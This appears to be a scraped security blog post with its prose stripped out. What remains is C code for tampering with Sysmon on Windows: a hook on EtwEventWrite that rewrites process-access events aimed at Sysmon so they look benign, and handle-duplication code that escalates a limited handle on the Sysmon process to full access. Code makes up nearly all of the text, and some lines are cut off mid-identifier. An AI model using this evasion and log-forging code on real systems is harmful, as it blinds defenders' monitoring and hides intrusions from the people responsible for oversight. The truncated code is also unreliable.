```
ULONG
EVNTAPI
EtwEventWrite(
    __in REGHANDLE RegHandle,
    __in PCEVENT_DESCRIPTOR EventDescriptor,
    __in ULONG UserDataCount,
    __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
    );
```

`EventDescriptor` `UserData`

```
typedef struct _EVENT_DESCRIPTOR {
  USHORT    Id;
  UCHAR     Version;
  UCHAR     Channel;
  UCHAR     Level;
  UCHAR     Opcode;
```

```
typedef struct _ProcessAccess
{
        wchar_t* pRuleName;
        size_t sizeRuleName;
        wchar_t* pUtcTime;
        size_t sizeUtcTime;
        void* psrcGUID;
        size_t sizesrcguid;
        void* ppidsrc;
        size_t sizepidsrc;
        void* ptidsrc;
        size_t sizetidsrc;
        wchar_t* psourceimage;
        size_t sizesourceimage;
        void* ptarGUID;
        size_t sizetarGUID;
        void* ppiddest;
        size_t sizepiddest;
        wchar_t* ptargetimage;
        size_t sizetargetimage;
        PACCESS_MASK pGrantedAccess;
        size_t sizeGrantedAccess;
        wchar_t* pCalltrace;
        size_t sizecalltrace;
        wchar_t* pSourceUser;
        size_t sizeSourceUser;
        wchar_t* pTargetUser;
        size_t sizetargetUser;

} ProcessAccess, *PProcessAccess;
```

`ntdll!EtwEventWrite`

```
//Hooked EtwEventWrite Function
ULONG Hook_EtwEventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIP

    //Get the address of the EtwEventWriteFull Function
    _EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)getFunctionPtr(CRYPTED_HASH_NTDLL, CRYPTED_HASH_ETWEVENTWRI
    if (EtwEventWriteFull == NULL) {
        goto exit;
    }

    //Check if it is a process access event and needs to be tampered with
    switch (EventDescriptor->Id) {
    case EVENT_PROCESSACCESS:
        HandleProcessAccess((PProcessAccess)UserData);
        break;
    default:
        break;
    }

    //Save the event with the EtwEventWriteFull Function
    EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData);

exit:
    return 0;

}


// Make ProcessAccess events targeting Sysmon itself look benign
VOID HandleProcessAccess(PProcessAccess pProcessAccess) {

        ACCESS_MASK access_mask_benign = 0x1400;
        PCWSTR wstr_sysmon = L"Sysmon";
        PCWSTR wstr_ente = L"Ente";

        //Sysmon check
        psysmon = StrStrIW(pProcessAccess->ptargetimage, wstr_sysmon);
        if (psysmon != NULL) {

                //Replace the access mask with 0x1400
                *pProcessAccess->pGrantedAccess = access_mask_benign;
                pProcessAccess->sizeGrantedAccess = sizeof(access_mask_benign);
                //Replace the Source User with Ente
                lstrcpyW(pProcessAccess->pSourceUser, wstr_ente);
                pProcessAccess->sizeSourceUser = sizeof(wstr_ente);

        }

}
```

`ntdll!EtwEventWriteFull`

`PROCESS_VM_OPERATION | PROCESS_VM_WRITE`

`kernel32!DuplicateHandle`

`In some cases, the new handle can have more access rights than the original handle.`

```
HANDLE hSysmon = NULL;
HANDLE hhighpriv = NULL;
BOOL bsuccess = FALSE;

hSysmon = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, 3340);
bsuccess = DuplicateHandle(GetCurrentProcess(), hSysmon, GetCurrentProcess(), &hhighpriv, PROCESS_ALL_ACCESS, FALSE, 0);
```

`OB_OPERATION_HANDLE_CREATE`

`System`

`svchost` `System`

`SE_DEBUG`

`ntdll!DuplicateObject` `PROCESS_DUP_HANDLE`

```
uPid.UniqueProcess = dwPid;
uPid.UniqueThread = 0;

ntStatus = NtOpenProcess(&hlowpriv, PROCESS_QUERY_LIMITED_INFORMATION, &ObjectAttributes, &uPid);
if (!NT_SUCCESS(ntStatus))
        FATAL("[-] Failed to open low priv handle to sysmon\n");

ntStatus = NtDuplicateObject(NtCurrentProcess(), hlowpriv, NtCurrentProcess(), &hduppriv, PROCESS_DUP_HANDLE, FALSE, 0);
if (!NT_SUCCESS(ntStatus))
        FATAL("[-] Failed to elevate to handle with PROCESS_DUP_HANDLE rights\n");

ntStatus = NtDuplicateObject(hduppriv, NtCurrentProcess(), NtCurrentProcess(), &hhighpriv, PROCESS_ALL_ACCESS, FALSE, 0);
if (!NT_SUCCESS(ntStatus))
        FATAL("[-] Failed to elevate to handle with PROCESS_ALL_ACCESS rights\n");
```

```
DWORD go(DWORD dwPidSysmon);
```

`make`

`ACCESS_SYSTEM_SECURITY + PROCESS_DUP_HANDLE + PROCESS_VM_OPERATION`

`PROCESS_VM_READ`

September (1)